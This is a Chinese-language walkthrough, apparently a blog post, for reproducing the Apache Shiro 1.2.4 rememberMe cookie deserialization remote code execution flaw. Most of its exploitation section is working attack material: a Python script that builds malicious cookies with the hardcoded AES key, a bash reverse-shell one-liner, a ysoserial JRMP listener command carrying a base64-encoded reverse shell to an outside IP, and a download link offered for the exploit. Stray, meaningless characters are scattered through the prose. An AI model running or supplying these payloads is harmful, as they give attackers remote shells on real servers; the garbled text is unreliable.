影響版本
Apache Shiro <= 1.2.4
原因分析
Apache Shiro默認(rèn)使用了CookieRememberMeManager
,其處理cookie的流程是:得到rememberMe的cookie值
> Base64解碼
–>AES解密
–>反序列化
退盯。然而AES的密鑰是硬編碼的,就導(dǎo)致了攻擊者可以構(gòu)造惡意數(shù)據(jù)造成反序列化的RCE漏洞铐殃。
AES加密
勾選記住密碼并登錄頁面上的賬號(hào)密碼,成功登錄后臺(tái)后返回Cookie中的rememberMe值為固定的512位
環(huán)境搭建
源碼搭建
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4
cd ./shiro/samples/web
需要提前配置tomcat
mvn
為了配合生成反序列化的漏洞環(huán)境跨新,需要添加存在漏洞的 jar 包富腊,編輯 pom.xml文件,添加如下行:
修改完成后域帐,使用
Maven
把存在漏洞環(huán)境 war包進(jìn)行編譯
最終可以將 target 目錄下生成的 samples-web-1.2.4.war 文件拷貝至 tomcat 目錄下的 webapps 目錄赘被,這里將其重命名為了 shiro.war 文件,啟動(dòng) tomcat肖揣, 在瀏覽器當(dāng)中輸入 http://localhost:8080/shiro 可以看到登錄頁面民假,如下圖:
如果不會(huì)編譯war包的話,我已經(jīng)整好了许饿,直接打包阳欲,
在文章下
然后,獲取我們復(fù)現(xiàn)需要用到的ysoserial工具
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
漏洞利用
惡意 Cookie rememberMe
值構(gòu)造
前16字節(jié)的密鑰
–>后面加入序列化參數(shù)
–>AES加密
–>base64編碼
–>發(fā)送cookie
生成惡意rememberMe參數(shù)值Python代碼
python shiro.py 攻擊者IP:PORT
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): #ysoserial-0.0.6-SNAPSHOT-all.jar 文件需要在該文件目錄 popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
記得勾選這個(gè)
用腳本生成惡意代碼
http://www.jackson-t.ca/runtime-exec-payloads.html
制作反彈shell
bash -i >& /dev/tcp/192.168.1.2/8888 0>&1
再使用ysoserial中JRMP監(jiān)聽模塊陋率,監(jiān)聽12345端口注意這里的端口是剛才生成rememberMe值的端口球化。 再加上生成的base64編碼。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4xOTUuMjQyLzEyMzQ2IDA+JjE=}|{base64,-d}|{bash,-i}'
注意CommonsCollections4這里有個(gè)坑瓦糟,復(fù)現(xiàn)不成功的話筒愚,換成5,4菩浙,3巢掺,2都試試
然后nc監(jiān)聽12346,因?yàn)橥ㄟ^制作bash反彈12346端口
發(fā)送生成后的惡意代碼劲蜻,替換cookie里的值
成功拿到權(quán)限
下面是源碼和exp
鏈接:https://pan.baidu.com/s/1inm1RDfxgvfZ_q4yG6KDLA
提取碼:gy90
復(fù)制這段內(nèi)容后打開百度網(wǎng)盤手機(jī)App陆淀,操作更方便哦
漏洞修復(fù)
升級(jí)到Shiro 1.2.5以上版本